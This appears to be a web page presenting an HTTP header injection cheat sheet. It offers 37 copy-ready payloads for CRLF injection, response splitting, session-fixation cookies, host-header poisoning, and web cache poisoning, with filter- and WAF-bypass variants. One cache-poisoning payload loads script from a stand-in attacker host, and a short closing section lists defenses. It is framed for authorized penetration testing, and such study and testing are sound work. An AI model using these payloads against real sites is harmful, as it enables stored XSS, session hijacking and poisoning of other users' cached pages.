HTTP Header Injection Cheat Sheet

CRLF and HTTP response-splitting injection: breaking out of header values to forge headers, set-cookie session fixation, host-header poisoning, and cache-poisoning vectors during authorized testing. (37 payloads)

Build custom Header Injection payloads in the CRLF Injection generator

CRLF Header Injection Basics

(6)

%0d%0aX-Injected-Header: pwned

URL-encoded CR (%0d) + LF (%0a) breaks out of the current header value and starts a new response header. The canonical test: if the injected header appears verbatim in the response, the input reaches a Set-Header / redirect / Location sink without CRLF stripping.Reflected param written into a response header (e.g. Location, Set-Cookie)

%0aX-Injected: 1

LF-only injection. Many HTTP stacks (and most log writers) treat a bare LF as a line terminator, so this works where %0d is filtered. Always test CR-only, LF-only, and CRLF independently — filters frequently block one but not the others.Targets that strip \r but not \n (Node http, some Java servlet containers)


X-Injected: 1

Raw, un-encoded CRLF. Use when the sink does NOT URL-decode the input (e.g. a value taken straight from a JSON body, header echo, or a server-side template) — encoding it would be wrong there. In Burp Repeater, type the literal bytes.Raw byte context: JSON field, gRPC-gateway, header reflection without decode

%E5%98%8A%E5%98%8D

Unicode 'overlong'/character-mapping bypass. Some servers map U+560A (劊) → \n and U+560D (劍) → \r during charset normalization, smuggling CRLF past a filter that only looks for %0d/%0a. Classic on older Java/Tomcat and certain proxies.Charset-normalizing back-ends that downcast multibyte chars

%25%30%64%25%30%61

Double URL-encoded CRLF (%0d%0a → %25%30%64...). Works when a proxy/WAF decodes once and forwards, and the origin decodes a second time, so the inner %0d%0a only materializes at the final sink. Pair with single-encoding tests to find the decode count.Multi-tier decode (WAF/CDN decodes once, app decodes again)

%0d%0a%09X-Injected: 1

CRLF followed by a tab (%09) — exploits header line-folding (obsolete LWS continuation). Some parsers fold the line back into the previous header; others accept it as a new header. Useful to bypass naive 'block lines starting with a letter' filters.Header line-folding / obs-fold parsing quirks

HTTP Response Splitting

(6)

%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(document.domain)</script>

Classic response splitting: terminate the first response with a zero Content-Length, then forge an entire second HTTP response. A proxy or client that reads two responses on one connection associates the attacker's HTML with the next pipelined request — yielding cache-served XSS.Header sink + a caching proxy / pipelining client downstream

%0d%0a%0d%0a<html><body><script>alert(1)</script></body></html>

Double CRLF (%0d%0a%0d%0a) closes the header block and starts the body early. Everything after lands in the response body — instant reflected XSS even without a full second response, as long as Content-Type is (or defaults to) text/html.Header injection where Content-Type is text/html or sniffed

%0d%0aSet-Cookie:%20sessionid=attacker_fixed_value

Inject a Set-Cookie to pin a known session ID (session fixation). The victim browses with the attacker-chosen cookie; after they authenticate, the attacker reuses the same ID. Works because the forged header is honored by the browser like any server cookie.Pre-auth session fixation via header sink

%0d%0aLocation:%20https://evil.example%0d%0a%0d%0a

Inject a Location header to force an open redirect with full attacker control, even on endpoints that normally validate the redirect target — the splitting bypasses the app's own redirect allowlist entirely.Redirect/302 endpoints; bypasses app-level URL allowlists

%0d%0aRefresh:%200;url=javascript:alert(1)

Inject a Refresh header carrying a javascript: URI. Some browsers execute meta-refresh-style Refresh headers, giving script execution without needing an HTML body or Content-Type control.Browsers honoring the non-standard Refresh response header

%0d%0aContent-Security-Policy:%20script-src%20'unsafe-inline'%20*

Overwrite or relax a security header by injecting a more permissive duplicate before the real one. Where the browser honors the first CSP wins, this neuters an existing policy and re-enables the inline XSS you injected alongside it.Loosening CSP/X-Frame-Options by injecting a duplicate header

Host Header Attacks

(7)

Host: evil-attacker.com

Override the Host header outright. If the app builds absolute URLs from it (password-reset links, OAuth redirect_uri, canonical tags, OOB resource loads) without an allowlist, links sent to victims point at the attacker — the core of host-header poisoning.App reflects Host into emails/links without validation

X-Forwarded-Host: evil-attacker.com

Many frameworks (Symfony, Flask behind proxies, older Rails) trust X-Forwarded-Host over Host. Use it when the real Host is validated but the forwarded variant is silently honored to rebuild URLs. The #1 password-reset-poisoning vector in the wild.Reverse-proxy-aware frameworks that trust XFH

Host: target.com
X-Forwarded-Host: evil.com

Send a valid Host (to pass virtual-host routing / WAF) plus a malicious X-Forwarded-Host. The proxy routes correctly, but the app generates links from the forwarded value — defeats filters that only check the primary Host.Dual-header: legit Host for routing, XFH for the payload

Host: target.com:@evil.com

Password-style Host injection. Some URL parsers read everything after @ as the host, so a self-referential validator sees target.com but the constructed link resolves to evil.com. Test : , @ , and #/? injections inside the Host.Inconsistent URL parsing between validator and link builder

X-Forwarded-Host: evil.com
X-Forwarded-Port: 1337

When XFH is keyed/filtered, probe the family: X-Host, X-Forwarded-Server, X-Original-Host, Forwarded: host=evil.com, X-HTTP-Host-Override. Any one trusted by the stack reproduces the host-override primitive.Fuzz the whole host-override header family

Host: localhost

Spoofing internal hostnames can flip the app into a 'trusted/internal' mode — exposing debug panels, skipping auth on /admin, or revealing dev-only routes that gate on Host == localhost/internal. Combine with X-Forwarded-For: 127.0.0.1.Apps with host-based trust / internal-only routing

Host: target.com.evil.com

Subdomain/suffix trick to defeat naive startsWith/endsWith Host checks and route resolution. If validation does host.contains('target.com'), this passes while resolving to attacker infrastructure.Weak substring-based Host validation

Cache Poisoning via Headers

(6)

GET /?cb=rand123 HTTP/1.1
X-Forwarded-Host: canary.attacker.com

ALWAYS poison with a unique cache-buster (cb param or random path) first so only YOUR key is affected during authorized testing. Confirm the forwarded host is reflected AND unkeyed, then drop the buster to weaponize. Never poison a live shared key without scope.Mandatory safety step — keep impact to your own cache key

X-Forwarded-Host: evil.com (unkeyed)

The keystone of cache poisoning: a header that is reflected into the response but NOT part of the cache key. The poisoned response is stored and served to every subsequent user. Reflection sinks to hunt: <script src>, <link href>, canonical, og:url, Location.Header reflected into body/headers but excluded from cache key

X-Forwarded-Host: evil.com"><script>import('//evil.com/x.js')</script>

Escalate an unkeyed XFH reflection into stored XSS. If the host lands in an HTML attribute or script context, the injected import executes for every cache consumer — a one-shot request becomes site-wide compromise.XFH reflected unsanitized into HTML/JS

X-Forwarded-Scheme: http + X-Forwarded-Host: evil.com

Some back-ends respond to X-Forwarded-Scheme: http with a 301 to the (attacker-controlled) host over HTTPS. If that redirect is cacheable, every user gets bounced to evil.com. Pair the scheme and host headers together.Cacheable scheme-triggered redirect

X-Forwarded-Host: evil.com%0d%0aSet-Cookie:%20poison=1

CRLF inside an unkeyed, reflected header → cache-persisted response splitting. When the value is written into a response header unsanitized and the result is cached, the forged Set-Cookie/headers are served to all consumers.CRLF + unkeyed header = persistent, multi-user splitting

X-Metadata: AAAA...[~8KB]...AAAA

Cache-Poisoning DoS (CPDoS / HHO). An oversized header the cache accepts but the origin rejects makes the origin emit an error the cache then stores — serving 400/502 to legitimate users for that key. Variants: HMC (meta chars) and HMO (method override).Cache header limit > origin limit

Discovery, Tooling & Detection

(6)

Param Miner (Burp): Guess headers / Guess cookies

The standard automated finder for unkeyed inputs and hidden header support. It diff-probes thousands of header names, detects cache behavior, and flags reflection — the fastest path from 'maybe' to a confirmed poisoning vector.PortSwigger Burp extension; foundational for cache poisoning

curl -s -D - 'https://t/' -H 'X-Forwarded-Host: probe.attacker.com' -o /dev/null

Dump only response headers (-D -) to confirm whether a forwarded host is reflected into Location/Link/Set-Cookie. Repeat without the header to check persistence (= unkeyed). The bread-and-butter manual probe.One-liner reflection + key check

Pragma: no-cache / Cache-Control: no-cache

Force a fresh origin fetch so you can verify the back-end actually reflects your candidate header BEFORE reasoning about cache state. Compare the uncached (origin) response to the cached one to isolate cause and effect.Separate origin reflection from cache behavior

Read the response: X-Cache / CF-Cache-Status / Age / Vary

X-Cache: HIT|MISS and Age tell you if/when a response was served from cache; Vary lists the keyed inputs. Anything reflected but absent from Vary (and the URL/Host) is a candidate unkeyed vector. Map the key before attacking.Cache-state and key reconnaissance from response headers

Set-Cookie: foo=bar; SameSite=None; Secure ← check it's NOT cached

When confirming impact, verify the poisoned response actually persists across a clean request from a different session/IP. A 'reflection' that vanishes on re-request is keyed and not exploitable — distinguish reflection from poisoning.Confirm cross-user persistence, not mere reflection

smuggler.py / h2csmuggler — pair CRLF testing with desync

Header-value CRLF that the front-end forwards verbatim into an HTTP/1.1 downgrade is a request-smuggling primitive, not just response splitting. When CRLF reaches a back-end over a reused connection, escalate to desync testing.Bridge CRLF findings into request-smuggling/HTTP/2 downgrade

Defenses & Hardening

(6)

Strip/reject \r and \n in all header-bound user input

The root fix: never write untrusted data into a response header without removing CR (0x0D), LF (0x0A), and NUL. Modern runtimes (Node ≥, Java servlet spec, .NET) now throw on CRLF in header setters — do not disable that protection.Primary mitigation for CRLF/response splitting

Build absolute URLs from a server-side allowlist, never from Host

For password-reset links, OAuth redirect_uri, canonical/og tags, and OOB callbacks, use a configured canonical domain — not the Host/X-Forwarded-Host. This kills host-header poisoning at the source regardless of proxy trust.Eliminates host-header link poisoning

Configure trusted proxies; ignore forwarded headers from clients

Only honor X-Forwarded-* / Forwarded from known proxy IPs (Symfony trusted_proxies, Rails config.hosts, ProxyFix trusted hops). Reject or overwrite these headers at the edge so clients can't spoof host/scheme/IP.Stops XFH/XFP/XFF spoofing

Add unkeyed-but-reflected inputs to the cache key (or Vary)

If a header must be reflected, make the cache key include it (custom cache key on the CDN) or emit Vary. Better: don't reflect request-controlled data into cacheable responses at all, and mark personalized responses Cache-Control: private, no-store.Prevents cache poisoning / web cache deception

Validate Host against an exact allowlist; default-deny unknown hosts

Web server + framework should both enforce an exact-match list of permitted hostnames (server_name in nginx, ALLOWED_HOSTS in Django). Reject anything else with a 400 — no substring/suffix matching.Defeats Host spoofing and routing tricks

Set restrictive Cache-Control on authenticated/dynamic responses

Cache-Control: no-store, private on any response containing user data prevents web cache deception (the *.css-on-/account/profile trick) from ever storing personalized content in a shared cache.Mitigates cache deception of authenticated pages

ShareX LinkedIn Reddit

Level up your security testing

Install the CLI

npx payload-playground

Explore All Tools

Encoding, hashing, JWT & more

Browse Cheat Sheets

Quick-reference payload guides

Related Generators

CRLF Injection Open Redirect HTTP Request Smuggling Web Cache Poisoning

Related Cheat Sheets

Open Redirect Cheat Sheet CRLF Injection Cheat Sheet HTTP Request Smuggling Cheat Sheet Web Cache Poisoning Cheat Sheet

Frequently asked questions

What is the HTTP Header Injection Cheat Sheet?+

It's a quick-reference collection of 37 Header Injection payloads for testing HTTP Header Injection vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.

How do I use these Header Injection payloads?+

Copy any payload straight into your authorized test, or open the CRLF Injection generator to build customized Header Injection variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.

Are these Header Injection payloads free to use?+

Yes — this cheat sheet and all Header Injection payloads are completely free, with no account required. Everything runs in your browser.

$loading...

Frequently asked questions

What is the HTTP Header Injection Cheat Sheet?+

How do I use these Header Injection payloads?+

Are these Header Injection payloads free to use?+

Yes — this cheat sheet and all Header Injection payloads are completely free, with no account required. Everything runs in your browser.

HTTP Header Injection Cheat Sheet

CRLF Header Injection Basics

HTTP Response Splitting

Host Header Attacks

Cache Poisoning via Headers

Discovery, Tooling & Detection

Defenses & Hardening

Related Generators

Related Tools

Related Cheat Sheets

Frequently asked questions

HTTP Header Injection Cheat Sheet

CRLF Header Injection Basics

HTTP Response Splitting

Host Header Attacks

Cache Poisoning via Headers

Discovery, Tooling & Detection

Defenses & Hardening

Related Generators

Related Tools

Related Cheat Sheets

Frequently asked questions